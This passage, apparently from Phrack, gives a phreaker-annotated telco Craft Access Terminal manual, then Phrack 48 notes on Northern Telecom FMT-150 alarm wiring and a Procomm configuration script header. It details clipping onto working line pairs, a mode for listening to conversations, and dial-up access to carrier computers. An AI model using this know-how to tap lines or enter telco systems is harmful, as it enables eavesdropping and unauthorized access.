[points to mouthpiece]
|
||
|
||
Craft Access Terminal - Identification Number
|
||
[points to sticker underneath the TRANSMITTER]
|
||
|
||
Phone Jack - A modular telephone cord can be plugged in here.
|
||
[located on bottom of the handset]
|
||
|
||
Recharger Jack - The plug on the recharger cord is inserted into
|
||
the jack.
|
||
[located on bottom of the handset]
|
||
|
||
Connecting Cord - Connects to a working pair to get dial tone for
|
||
making a call to either a telephone or a computer.
|
||
[extends from bottom of handset]
|
||
|
||
|
||
-2-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
|
||
Screen - A liquid crystal display shows information
|
||
or instructions.
|
||
[on top-front of handset. c'mon- you cant miss it!]
|
||
|
||
Mode Switch
|
||
Three positions:
|
||
Talk -make a phone call
|
||
Monitor -listen for conversation
|
||
Data -make a computer call
|
||
Moving the switch to monitor will disconnect a call.
|
||
[This switch is located on the right-top side, when the ]
|
||
[LCD screen is facing you ]
|
||
|
||
Pointer - Used to mark and select actions on the screen and to
|
||
indicate where you want to enter information.
|
||
[Joystick located under Screen]
|
||
|
||
Rechargeable Battery Pack - Provides power for the terminal. The
|
||
pack must be recharged every day.
|
||
|
||
[This is accessed by removing a cover held in place by a normal ]
|
||
[phillips screw. The compartment is located under the pointer. ]
|
||
[NOTE: Although there is a 9-volt battery snap, the thing only ]
|
||
[uses 4 1.2volt nicads... 4 AA batteries work fine... For those ]
|
||
[whose sets didn't come with battery packs ]
|
||
|
||
Alpha Numeric Keypad - Used to enter letters and numbers on the
|
||
screen.
|
||
[Uhh- A normal Touch Tone pad... Cant miss it ]
|
||
|
||
|
||
|
||
-3-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Using the pointer
|
||
|
||
|
||
|
||
The pointer allows you to make choices from a
|
||
screen, show where you want to fill in information,
|
||
B BACK read information that is temporarily stored for you
|
||
A in the Craft Access Terminal, and get an
|
||
H C < ^ > N S explanation about a screen.
|
||
E K < .-. > E E
|
||
L S < `-' > X N Remember that you must push the pointer to
|
||
P P < V > T D make a choice.
|
||
C
|
||
E REVIEW The pointer can be moved along the right side,
|
||
along the left side, to the top center and bottom
|
||
center position.
|
||
<,>,^,V
|
||
= joystick direction
|
||
|
||
.-. = Joystick
|
||
`-'
|
||
|
||
1. If you want to select from two or more choices on the
|
||
screen, move the Pointer along the right side until
|
||
the arrow (>) appears next to the line you want to
|
||
select and then press the Pointer.
|
||
|
||
|
||
|
||
|
||
-4-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
|
||
|
||
2. If you want additional information about one of the
|
||
choices on the screen, move the Pointer along the
|
||
left side until the question mark (?) appears next to
|
||
the line where you need HELP and then press the
|
||
Pointer.
|
||
|
||
|
||
3. If you want to go BACK one screen, move the Pointer
|
||
to the top center position and then press the
|
||
Pointer.
|
||
|
||
4. If you want to REVIEW information stored in your
|
||
Craft Access Terminal, move the Pointer to the bottom
|
||
center position and then press the Pointer.
|
||
|
||
-5-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
The Craft Access Terminal's Battery Pack
|
||
|
||
You must charge the terminals battery pack at least once every
|
||
day. It may take up to twelve hours for a full charge if the
|
||
battery pack has run down completely. Also, before the first
|
||
use, each battery pack should be charged for 24 hours.
|
||
|
||
To do this, insert the plug at the other end of the cord
|
||
attached to the charger into the socket at the transmitter end
|
||
of the Craft Access Terminal. Plug the charger at the end of
|
||
the cord into an electrical outlet. The red light on the
|
||
charger should be lit if it is charging properly. However, the
|
||
light will not go out if the battery is fully charged. It is
|
||
advisable to keep the extra battery pack charged so you can
|
||
use it if the battery pack in the terminal you're using runs
|
||
down. To charge the spare battery pack, plug the charger
|
||
adapter cord, (the short cord included with the charger) into
|
||
the pack. Plug the other end of the adapter cord into the
|
||
charger, and plug the charger into an electrical outlet.
|
||
|
||
CAUTION
|
||
|
||
The charger should only be used indoors and only for charging
|
||
Craft Access Terminal.
|
||
|
||
In the battery pack runs out of power while you are using the
|
||
terminal, the pack can be removed and the charged pack can be
|
||
inserted. To do this, follow these steps:
|
||
|
||
1. Open the Battery Pack Compartment
|
||
Loosen the screw to open the battery cover. Do not hold
|
||
down battery compartment cover while loosening the
|
||
screw.
|
||
|
||
2. Remove the Battery Pack
|
||
Lift out battery pack. Unsnap the battery pack from the
|
||
connector.
|
||
|
||
-6-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
|
||
|
||
3. Insert the Battery Pack
|
||
Snap the charged battery pack into the connector.
|
||
Slide the battery pack into the Craft Access Terminal.
|
||
Close the battery cover. Don't forget to tighten
|
||
the screw.
|
||
|
||
How Long Will the Craft Access Terminal Stay Charged?
|
||
|
||
At normal temperatures, the Craft Access Terminal will
|
||
operate for approximately 12 hours after being charged.
|
||
|
||
The Craft Access Terminal can be used in warm or cold
|
||
temperatures. You should keep in mind however, that the
|
||
battery pack will be drained faster in cold weather. At -20
|
||
degrees Fahrenheit, it may last only 8-10 hours.
|
||
|
||
The battery pack in the Craft Access Terminal should no be
|
||
charged at temperatures less than 40 degrees Fahrenheit.
|
||
|
||
Battery Pack Life
|
||
|
||
The battery pack can be charged many times, providing a
|
||
working life of about 5 years. The four digit number stamped
|
||
on the end of the battery is its date of manufacture.
|
||
|
||
|
||
-7-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Connecting to a Working Pair
|
||
|
||
|
||
Monitor the Line
|
||
Before connecting to a pair, set the switch at the Monitor
|
||
(center) position.
|
||
|
||
Connect Cord and Clips
|
||
Attach cord clips to tip and ring. If you hear a conversation,
|
||
select another pair. You should hear dial tone when connected
|
||
to an available working pair.
|
||
|
||
* Connect at a standard terminal point whenever possible to avoid
|
||
puncturing the insulation; holes made in insulation by clips
|
||
can lead to later corrosion problems
|
||
|
||
Alternately, dial tone can also be obtained by inserting a
|
||
modular cord as shown on page 2. Do not insert line cord to
|
||
modular jack and connect to tip and ring at the same time. It
|
||
will not work.
|
||
|
||
Move back to monitor to increase or decrease volume. To
|
||
increase the volume, move the Pointer along the right side
|
||
until the arrow (>) in next to "increase volume" and then
|
||
press the Pointer.
|
||
|
||
To decrease the volume, point to the third line, and press.
|
||
|
||
If you want to use the terminal to listen for noise on the
|
||
line, point to the second line and press. This puts the
|
||
terminal in the "quiet" mode so that very low levels of noise
|
||
can be detected.
|
||
|
||
Notice that the top line on this screen can't be selected. To
|
||
indicate this, the first space on the line contains a bar.
|
||
(I).
|
||
|
||
You can now make an ordinary telephone call be moving the
|
||
switch to Talk (see Making a Telephone Call) or call a
|
||
computer by moving the switch to Data (see Calling a
|
||
Computer).
|
||
|
||
|
||
-8-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Making a Telephone Call
|
||
|
||
|
||
Move the switch from Monitor to Talk Position
|
||
|
||
|
||
Monitor the line to be sure it isn't in use. If no one is
|
||
talking on the line, move the switch from Monitor to Talk.
|
||
|
||
Telephone Number Entry and Correction
|
||
|
||
If the line is good, you will hear a dial tone. You can enter
|
||
the number you want to call through the keypad. If a number is
|
||
already filled in, you can call that number, or, if you want
|
||
to call a different number, erase the number that is on the
|
||
screen by pressing * on the Touch-tone pad, and enter another
|
||
number.
|
||
|
||
* If the (*) is entered as the first character, it will not
|
||
erase unless another (*) us entered.
|
||
|
||
The small flashing bar is called the cursor. The cursor will
|
||
appear where a number must be entered.
|
||
|
||
As each digit to the telephone number is filled in, it will
|
||
appear where the cursor was, and the cursor will move one
|
||
space to the right. Enter a pound (#) between digits to
|
||
indicate a 2-second pause in dialing where required (to wait
|
||
for a second dial tone behind a PBX number, for example). For
|
||
a longer pause, press pound (#) several times.
|
||
|
||
|
||
|
||
|
||
|
||
-9-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
|
||
|
||
When the correct phone number is shown, move the Pointer to the
|
||
right side (anywhere along the right side will do) and press.
|
||
If you need to rotary dial, select the last line with the
|
||
Pointer before you press. The Craft Access Terminal will dial
|
||
the number. You can re-dial by moving the Pointer to the right
|
||
side and pressing again.
|
||
|
||
The Craft Access Terminal will save the telephone number and it
|
||
will appear the next time the switch is moved to the Talk
|
||
position.
|
||
|
||
You can listen as the Craft Access Terminal dials the number.
|
||
If you hear a busy signal after dialing is completed, or if no
|
||
one answers the call, disconnect by moving the switch to the
|
||
Monitor position.
|
||
|
||
Call in Progress and Volume Control
|
||
|
||
When dialing is completed, this screen appears. Use the
|
||
Pointer the increase or decrease the volume of the receiver,
|
||
or to mute the trans mitter to listen only.
|
||
|
||
The volume level is indicated by the number of filled spaces on
|
||
the increase volume line. One filled space for minimum volume,
|
||
four for maximum.
|
||
|
||
|
||
-10-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Disconnecting
|
||
|
||
Moving the switch to the Monitor position will end the phone
|
||
call, and this screen will appear.
|
||
|
||
Be sure to move the switch to the Monitor position after
|
||
disconnecting. This will conserve battery power as the
|
||
terminal drains the least amount of power in the monitor mode.
|
||
|
||
If you are accidentally disconnected, move the switch to the
|
||
Monitor position and start again.
|
||
|
||
|
||
|
||
|
||
-11-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Calling the Craft Access System Computer
|
||
|
||
|
||
|
||
Move the Switch from Monitor to Data Position.
|
||
|
||
Monitor the line to be sure it isn't in use. If no one is
|
||
talking on the line, move the switch from Monitor to Data.
|
||
|
||
Telephone Number Entry and Correction
|
||
|
||
You can enter the number you want to call through the keypad.
|
||
If a number is already filled in, you can call that number,
|
||
or, if you want to call a different number, erase the number
|
||
on screen by pressing the asterisk (*) on the Touch-tone pad,
|
||
and fill in another number.
|
||
|
||
The cursor will appear where a number must be entered.
|
||
|
||
|
||
Fill in the computer's telephone number if it isn't already
|
||
shown. Put a pound (#) between digits to indicate a 2-second
|
||
pause in dialing where required (to wait for a second dial
|
||
tone behind a PBX number, for example). For a longer pause,
|
||
press pound (#) several times.
|
||
|
||
|
||
|
||
-12-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
|
||
|
||
When the correct phone number is shown, move the Pointer to
|
||
the right side (anywhere along the right side will do)and
|
||
press. The Craft Access Terminal will dial the number. You
|
||
can re-dial by moving the Pointer to the right side and
|
||
pressing again.
|
||
|
||
|
||
|
||
Indications that the Call is Successful
|
||
|
||
If the call to the Craft Access System computer is successful,
|
||
you will hear a tone on the line. When the Craft Access
|
||
Terminal detects that tone, the tone will stop and a screen
|
||
like this will appear.
|
||
|
||
In some cases the call may not be successful. If you retry a
|
||
few times and still have difficulty, try connecting your cord
|
||
to another working pair.
|
||
|
||
|
||
Password Entry
|
||
|
||
Before you send or receive any computer information, you may
|
||
need to fill in a numeric password to identify yourself and a
|
||
number to identify your terminal. Your password can be used
|
||
only with your Craft Access Terminal. Fill in your password
|
||
on the keypad. If you make a mistake press the asterisk (*)
|
||
to erase the password and start over. The cursor will return
|
||
to the place where the password must be filled in.
|
||
|
||
The Terminal Identification number is located below the
|
||
transmitter (see page 2).
|
||
|
||
When the correct numbers are filled in, move the Pointer to
|
||
the right side (anywhere along the right side will do) and
|
||
press. The Craft Access Terminal will send your password to
|
||
the computer.
|
||
|
||
|
||
|
||
-13-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
|
||
|
||
See "Working with the Craft Access System Computer" for further
|
||
instructions about what to do next.
|
||
|
||
|
||
Disconnect
|
||
|
||
If your call to a computer is accidentally dis connected, move
|
||
the switch to the Monitor position and repeat from the first
|
||
step to re-dial.
|
||
|
||
|
||
If you want to disconnect, move the switch to Monitor and this
|
||
screen will appear.
|
||
|
||
|
||
|
||
-14-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Working with the Craft Access System Computer
|
||
|
||
|
||
|
||
Each line on a screen is either:
|
||
|
||
- information
|
||
|
||
- a space in which information can be filled in
|
||
|
||
- a choice that can be selected
|
||
|
||
|
||
This screen is an example. Information can be read on the first
|
||
line, a number is to be entered on the second line, and you
|
||
can make a choice between the last two lines. Lines that don't
|
||
contain selectable choices begin with a bar (I). Those that
|
||
are selectable choices begin with a blank space.
|
||
|
||
|
||
----------------------
|
||
|
||
Getting Help
|
||
|
||
To get help about the third line of this screen, move the
|
||
Pointer along the left side until a question mark appears
|
||
beside the third line. When the question mark is beside the
|
||
line, press the Pointer. The help that appears de scribes what
|
||
will happen if you select choice 1.
|
||
|
||
To get help about the second line of this screen, a line in
|
||
which information can be filled in, move the Pointer along the
|
||
left side until a question mark (?) appears in the space where
|
||
information is to be filled in and then press.
|
||
|
||
|
||
|
||
-15-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
This is an example of an explanation. A bar (I) appears to the
|
||
left of every line and there is a page number in the top right
|
||
corner of the screen. This page is numbered 1/2, indicating
|
||
that it is the first page of two pages of information. the
|
||
second page will be numbered 2/2.
|
||
|
||
To read the next page of Help, move the Pointer to the right
|
||
side (anywhere along the right side will do) and press.
|
||
|
||
|
||
If you want to re-read pages, point to REVIEW (move the Pointer
|
||
to the bottom center position and press) to go back one page
|
||
at a time.
|
||
|
||
When you are ready to go back to the screen where you
|
||
originally requested help, point to BACK (move the Pointer to
|
||
the top center and press).
|
||
|
||
|
||
|
||
-16-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Making or Canceling a Selection on a Screen
|
||
|
||
|
||
|
||
|
||
Making a Selection
|
||
|
||
When a screen that contains selectable choices is shown, move
|
||
the Pointer along the right side until the arrow (>) is
|
||
beside the choice you want. Then press the Pointer to make
|
||
the selection.
|
||
|
||
Some choices make requests of a computer that may take a while.
|
||
If so, a "request in progress" message such as this will
|
||
appear.
|
||
|
||
|
||
|
||
|
||
|
||
-17-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Canceling a Selection
|
||
|
||
|
||
If at this point you realize that you've made a wrong choice,
|
||
point to BACK (move the Pointer to the top center and press).
|
||
The screen on which you made the choice will be shown and you
|
||
can make a different choice.
|
||
|
||
Some requests cannot be canceled. In this case, only "request
|
||
in progress" is displayed.
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
-18-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Reading Information Stored in the Craft Access Terminal
|
||
|
||
|
||
Some of the information sent to you from the computer may be
|
||
stored in the Craft Access Terminal in case you need it again
|
||
later, even if your terminal is disconnected as long as its
|
||
battery pack is charged. If you want to see stored
|
||
information, move the switch to either Monitor or Voice and
|
||
point to REVIEW (move the Pointer to the bottom center and
|
||
press).
|
||
|
||
|
||
A list containing the major categories of information currently
|
||
stored in your Craft Access Terminal will appear on the
|
||
screen. To select a category, move the Pointer along the right
|
||
side until the arrow (>) is beside the category that you want
|
||
to select and then press the Pointer.
|
||
|
||
Sometimes an item that you have selected leads to another list.
|
||
Make a selection from this list in the same way you did on the
|
||
previous list. To quit reading, point to BACK (move the
|
||
Pointer to the top center and press). To reread pages of
|
||
stored information, point to REVIEW (move the Pointer to the
|
||
bottom center position) and then press the Pointer.
|
||
|
||
|
||
|
||
|
||
|
||
|
||
-19-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Filling in Information on the Craft Access Terminal
|
||
|
||
If a screen contains a space where a number can be filled in,
|
||
the cursor will be blinking at the space. If there is already
|
||
a number in the space you may want to change it. If you decide
|
||
to use the number that is already shown, point to NEXT (move
|
||
the Pointer to any position on the right side and press).
|
||
|
||
If you want to change the number, press the asterisk (*) to
|
||
erase the wrong number, then fill in the number you want.
|
||
|
||
When the desired number is shown, point to NEXT (move the
|
||
Pointer to any position on the right side and press).
|
||
|
||
|
||
|
||
-20-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
|
||
|
||
Sometimes you may need to return to a screen to correct an
|
||
entry.
|
||
|
||
When you point to BACK (move the Pointer to the top center and
|
||
press), the cursor will appear at the beginning of the first
|
||
place where information was filled in.
|
||
|
||
Press the asterisk (*) on the keypad to erase the entered
|
||
number or make a correction by typing over the incorrect
|
||
number with the correct number.
|
||
|
||
|
||
|
||
-21-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
|
||
If there are several spaces to be filled in on one screen, move
|
||
the Pointer along the right side of the control to point to
|
||
each location where you can enter information. Don't press the
|
||
Pointer until you have filled in all the required information.
|
||
|
||
If a space where information can be filled in is preceded with
|
||
an asterisk (*), the information is optional and the space may
|
||
be left without an entry.
|
||
|
||
After you have filled in all of the information you need, point
|
||
to NEXT (move the Pointer to any position on the right side
|
||
and press).
|
||
|
||
Display of the asterisk is actually controlled by the Craft
|
||
Access System computer. Keep in mind that this can change.
|
||
|
||
|
||
-22-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
|
||
|
||
Sometimes the Craft Access System will allow you to enter the
|
||
letters and punctuation marks to fill in the information that
|
||
is needed. Whenever this is the case, this screen is
|
||
displayed.
|
||
|
||
Entering Alphabetical and Numeric Characters
|
||
|
||
Letters, numbers and punctuation marks are entered from the
|
||
keypad. All characters you enter appear on the screen.
|
||
|
||
Each key is used to enter four different characters as labeled
|
||
on the key; except for the [#] key. The [SP] on the [#] key is
|
||
used to enter a space between two words.
|
||
|
||
Two easy methods can be used to enter characters:
|
||
|
||
- Method 1: Press and hold down the key with the desired
|
||
character. Look at the display while holding down the key.
|
||
You will see each character labeled on that key appear one
|
||
after the other. When the desired character appears, release
|
||
the key and that character will remain on the screen, and the
|
||
cursor will advance to the next position.
|
||
|
||
- Method 2: There is no need to continuously watch the screen
|
||
with this method. Instead of holding down the key you rapidly
|
||
tap the key a number of times equal to the position of the
|
||
desired character on that key.
|
||
|
||
For example, tap the [6] key three times to enter [N]; tap
|
||
the [3] key three times to enter [E]; tap the [9] key twice
|
||
to enter [w] and tap the [#] key twice to enter a space.
|
||
|
||
A blinking dark block on the screen indicates you have entered
|
||
you last character.
|
||
|
||
|
||
-23-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Erasing a Character, an Entire Line or more.
|
||
|
||
If you want to erase a character, push the pointer to the left
|
||
and press once. Holding the pointer down it will continue to
|
||
erase characters one at a time until it is released.
|
||
|
||
Sending Your Message to the Computer
|
||
|
||
When you are through entering the message, move the pointer to
|
||
the right and press it to send your message. The cursor should
|
||
stop blinking to indicate that your message has been sent.
|
||
|
||
|
||
-24-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Taking Care of Your Terminal
|
||
|
||
1. To avoid damaging the Craft Access Terminal
|
||
|
||
- Don't drop the terminal. During the work day, the Craft
|
||
Access Terminal should be in the cab of your vehicle or
|
||
clipped to your tool belt when not in use
|
||
|
||
- Don't unnecessarily expose the terminal to dust, sand,
|
||
water, or salt air.
|
||
|
||
2. Problems Caused by Extreme Temperatures
|
||
|
||
Heat
|
||
|
||
The Craft Access Terminal can be damaged by extreme Heat.
|
||
DON'T LEAVE IT ON THE DASH OF YOUR VEHICLE.
|
||
|
||
Cold
|
||
|
||
Cold is less likely to damage the terminal. However, the
|
||
screen won't work properly at temperatures less than -20
|
||
degrees Fahrenheit. If you must use your terminal in colder
|
||
temperatures, you can use it for about 20 minutes in the
|
||
cold, then place it somewhere warm for 15 to 30 minutes and
|
||
then use it in the cold again.
|
||
|
||
3. Problems Caused by Water, Condensation, and High Humidity.
|
||
|
||
Don't expose the terminal to water; especially avoid dropping
|
||
the terminal in water. If it does get wet, dry it immediately.
|
||
The Craft Access Terminal will work in rain or snow, but
|
||
should be wiped dry whenever possible.
|
||
|
||
4. How to store the Craft Access Terminal and spare batteries.
|
||
|
||
When not in use, the Craft Access Terminal or spare battery
|
||
pack should be connected to the charger.
|
||
|
||
5. Under some abnormal conditions, the terminal may lock itself
|
||
into an incorrect state. To "reset" the terminal, simply
|
||
insert the battery charger plug into the charge jack, then
|
||
remove. CAUTION: This will erase any stored information.
|
||
|
||
|
||
|
||
|
||
-25-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
For Quick Reference:
|
||
|
||
|
||
|
||
.-------------------------------------.
|
||
: -To quit reading stored information :
|
||
: -To go back to a screen you saw :
|
||
: previously :
|
||
: .----------------------------'
|
||
: BACK :
|
||
.-----------------------. : : .---------------------------.
|
||
: b : : O : : :
|
||
: -To get a O : `--------' :O n S -to select a choice :
|
||
: explanation of H c : : :
|
||
: selectable E k O : :O e E -to read new page of :
|
||
: items L s : (JOYSTICK) : help or new page of :
|
||
: P p O : :O x N stored information :
|
||
: -To erase a a : : :
|
||
: character or c O : .--------. :O t D -to send mail :
|
||
: line e : : O : `---------------------------'
|
||
: : : REVIEW :
|
||
: (ALPHA-ENTRY) : : `-------------------------.
|
||
: (MODE ONLY) : : :
|
||
`-----------------------' : :
|
||
: -To read information stored in :
|
||
: the Craft Access Terminal :
|
||
: :
|
||
: -To read previous page of help :
|
||
: or store information :
|
||
: :
|
||
`----------------------------------'
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
FCC Regulations for Telephone Equipment
|
||
(you know all this crap)
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
(BACK COVER)
|
||
|
||
(END)
|
||
|
||
-------------------------------------------------------
|
||
|
||
|
||
Few last notes:
|
||
|
||
The real Craft handsets do not have a power switch, they just
|
||
sit on all of the time. So we could also add a power switch to
|
||
ours.
|
||
|
||
The Craft handset uses a 1200 baud modem, but seems to be
|
||
incompatible with standard modems...
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 9 of 18
|
||
|
||
---------------------------------------------------------------------------
|
||
Information about Northern Telecom's FMT-150B/C/D
|
||
Written by StaTiC
|
||
(statik@free.org)
|
||
---------------------------------------------------------------------------
|
||
|
||
Ok, I know someone wrote an article in Phrack about the
|
||
FMT-150B/C/D, but I figured I should write some more. I am not going to
|
||
write the same info that FyberLyte wrote, in fact I recommend you go and
|
||
check it out. It is in Phrack #44-13. This is some stuff I obtained,
|
||
that I figured the rest of the world would be interested in.
|
||
|
||
Included info: Connecting a FMT-150 to a Rockwell OS-35
|
||
Connecting Environmental Alarms to the FMT-150
|
||
Procomm Script to Perform Configuration of FMT-150
|
||
FMT-150 Configuration Checklist
|
||
Glossary of Terms
|
||
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
INSTRUCTIONS FOR X-CONNECTING FMT-150 CUSTOMER OUTPUT TO
|
||
ROCKWELL OS-35 INPUTS
|
||
|
||
A pin block will be provided at the central office location, in the
|
||
bay equipped with FMT-150 equipment. The pin block will provide
|
||
the termination points for the Rockwell OS-35A and the FMT-150
|
||
customer output alarms. Each pin block will be able to support a
|
||
maximum of 16 FMT-150 systems, see pin block diagram.
|
||
|
||
Wiring of the FMT-150 customer outputs points and the OS-35A points
|
||
will be done by the vender on the back of the pin block.
|
||
|
||
Once a FMT-150 system has been certified the certification team
|
||
will be responsible for x-connecting the FMT-150 customer output
|
||
alarm points to the appropriate OS-35A points on the front of the
|
||
pin block. Completion of this x-connecting will allow FMT-150
|
||
system alarms originating either from the CO or the RT to be
|
||
transported via the OS-35A back to the Lightwave and Radio Alarm
|
||
Center.
|
||
|
||
IMPORTANT, MBT CERTIFICATION TEAMS X-CONNECT ONLY THE FMT-150 THAT
|
||
IS BEING PUT INTO SERVICE AND ONLY AFTER THE ELECTRONICS ARE
|
||
CERTIFIED.
|
||
|
||
The FMT-150 16 customer outputs are defined as follows:
|
||
|
||
OUTPUT ALARM OUTPUT ALARM
|
||
------ ----- ------ -----
|
||
1 BAY MAJOR 9 MI3 ALARM #3
|
||
2 BAY MINOR 10 HSA ALARM
|
||
3 OPT A FAIL 11 HSB ALARM
|
||
4 OPT B FAIL 12 DS1 GRP FAIL
|
||
5 STX TX 13 SYSTEM ID CLLI
|
||
6 STS RX 14 COMM. EQUIP. ALARM
|
||
7 M13 ALARM #1 15 NODE #1 CO
|
||
8 M13 ALARM #2 16 NODE #2 REMOTE
|
||
|
||
The Rockwell OS-35A provides a total of 32 separate alarm points.
|
||
The first 16 points with the exception of point 13 have been
|
||
multiplied on the pin block to provide x-connect points for a total
|
||
of 16 FMT-150 systems, see pin block diagram.
|
||
|
||
On the pin block x-connect the designated (1 of 16) FMT-150 system
|
||
customer outputs, pins 1-12 and 14-16 to the appropriate OS-35A
|
||
pins 1-12 and 14-16, see pin block diagram.
|
||
|
||
Pins 17-32 on the pin block going to the OS-35A will be used for
|
||
x-connecting the customer output #13 from each FMT-150 system.
|
||
Customer output #13 provides the system ID for the FMT-150, see pin
|
||
block diagram.
|
||
|
||
X-CONNECT CUSTOMER OUTPUT #13 FROM FMT-150 SYSTEMS IN
|
||
THIS SEQUENCE
|
||
|
||
OS-35A FMT-150 System
|
||
------ --------------
|
||
PIN 17 SYSTEM 1
|
||
PIN 18 SYSTEM 2
|
||
: :
|
||
: :
|
||
PIN 31 SYSTEM 15
|
||
PIN 32 SYSTEM 16
|
||
|
||
AGAIN, WIRE ONLY THE FMT-150 SYSTEM THAT IS BEING PUT INTO SERVICE
|
||
AND ONLY AFTER CERTIFICATION OF ELECTRONICS HAVE BEEN COMPLETED.
|
||
|
||
After x-connects have been completed on FMT-150 system that has
|
||
been certified, contact the Alarm Center at (313) 223-9688 and
|
||
verify that all 16 customer output alarm conditions at both the CO
|
||
and RT can be activated and are reporting via the OS-35A back to
|
||
the alarm center.
|
||
|
||
The Lightwave Alarm Center will monitor the FMT-150 system for a 24
|
||
hour quiet period for alarms. During this 24 hour period if no
|
||
alarms are detected by the Lightwave Alarm Center, the FMT-150 will
|
||
be considered certified for alarming and ready for continual
|
||
monitoring.
|
||
|
||
If during the 24 hour quiet period the alarm center receives alarms
|
||
from the FMT-150 system, it will not be certified for continual
|
||
monitoring and it will be the responsibility of the MBT
|
||
Certification Teams to resolve those alarms.
|
||
|
||
|
||
----------------------------------------------------------------------------
|
||
|
||
INSTRUCTIONS FOR CROSS CONNECTING ENVIRONMENTAL ALARMS TO
|
||
THE FMT-150 INPUTS.
|
||
|
||
Environmental alarms at remote locations may be connected to the
|
||
FMT-150 customer inputs. If more than one system exists, these
|
||
alarms should only be connected to the first. Since many remotes
|
||
will not be equipped with all of these alarms, a checklist has been
|
||
provided on the system acceptance sheets to indicate which have
|
||
been wired. The alarms provided for are Smoke Detector, Sump Pump,
|
||
Open Door, AC Power Fail, HI-LO Temperature, Rectifier Fail, and
|
||
Battery Float. These are wired to pins D8 through E9 on the
|
||
FMT-150 backplane. See Shelf Backplane Detail, attached.
|
||
|
||
All Customer Inputs are software connected to Customer Output #12.
|
||
They will also bring in Bay Minor (Output #1) or Bay Major (Output
|
||
#2) as appropriate. Inputs #1 (Smoke Detector) and #2 (Sump Pump)
|
||
are latching inputs that can only be cleared by accessing the MCU
|
||
with a VT100 terminal. See Section 321-3211-01, DP 3003, page 2.
|
||
|
||
FMT-150 systems using external inputs for environmental alarms and
|
||
which use E2 telemetry rather than the OS-35 MUST be provided with
|
||
type NT7H90XH Maintenance Control Units at both ends.
|
||
|
||
External alarm operation and telemetry if equipped, should be
|
||
verified with the Alarm Center during acceptance.
|
||
|
||
|
||
|
||
|
||
--------------------------------------------------------------------------
|
||
Procomm Script for Accessing FMT-150B/C/D
|
||
|
||
;**********************************************************************
|
||
;* *
|
||
;* FMT150.CMD Version 5.00 Dec 18, 1990 *
|
||
;* Please Destroy all previous versions of this program! *
|
||
;* *
|
||
;* NOTE: Procomm is a product of Datastorm Technologies *
|
||
;**********************************************************************
|
||
;
|
||
; The script FMT150.CMD was written to automatically perform
|
||
; all configuration commands for the Northern Telecom FMT-150
|
||
; fiber optic multiplexer. Specifically, this script will
|
||
; complete over 125 configuration commands (performance
|
||
; threshold, error correction, and alarm outputs) as outlined
|
||
; in Section 4 of the Michigan Bell Certification Procedure for
|
||
; the FMT-150. This program is compatible with all
|
||
; certification requirements for FMT-150 MCU NT7H90XA or MCU
|
||
; NT7H90XE.
|
||
;
|
||
; Requirements:
|
||
; 1) Toshiba T1000 craft terminal or DOS equivalent.
|
||
; 2) Proper serial cables and adapters.
|
||
; 3) Procomm disk with FMT150.CMD file.
|
||
;
|
||
; Procedure for use:
|
||
; 1) Remove disk from drive, then turn on computer. When the DOS
|
||
; prompt appears insert the PROCOMM disk into disk drive.
|
||
; Enter the command "A:" + <ENTER>.
|
||
; 2) Enter the command "FIXPRN" + <ENTER>.
|
||
; 3) Enter the command "PROCOMM" + <ENTER>.
|
||
; 4) While holding the <ALT> key down, press the <D> key,
|
||
; and select FMT-150 from the dialing menu.
|
||
; 5) Gain access to MCU as normal (press the <ENTER> key 3 times).
|
||
; 6) Once logged in, reset the MCU to factory default by
|
||
; entering "M"(aintenance) "R"(eset) "*"(all) + <ENTER>.
|
||
; It will take approximately three minutes to reconfigure.
|
||
; 7) Gain access to MCU again as in steps 3) & 4).
|
||
; 8) Select the script by pressing <ALT><F5> keys simultaneously.
|
||
; 9) When prompted for command file enter "FMT150" + <ENTER>.
|
||
; 10) Answer questions and away you go!
|
||
;
|
||
; HISTORY: Version 4.00 May 15, 1990 by AQW final release version
|
||
; HISTORY: Version 4.10 Aug 08, 1990 by JBH mod to use VPRINT to divert
|
||
; printer into a better bit bucket, and to correct callback #.
|
||
; HISTORY: Version 4.12 Nov 21, 1990 by EEE to use Customer Inputs
|
||
; HISTORY: Version 5.00 Dec 18, 1990 by JBH to update documentation
|
||
;SN051690000
|
||
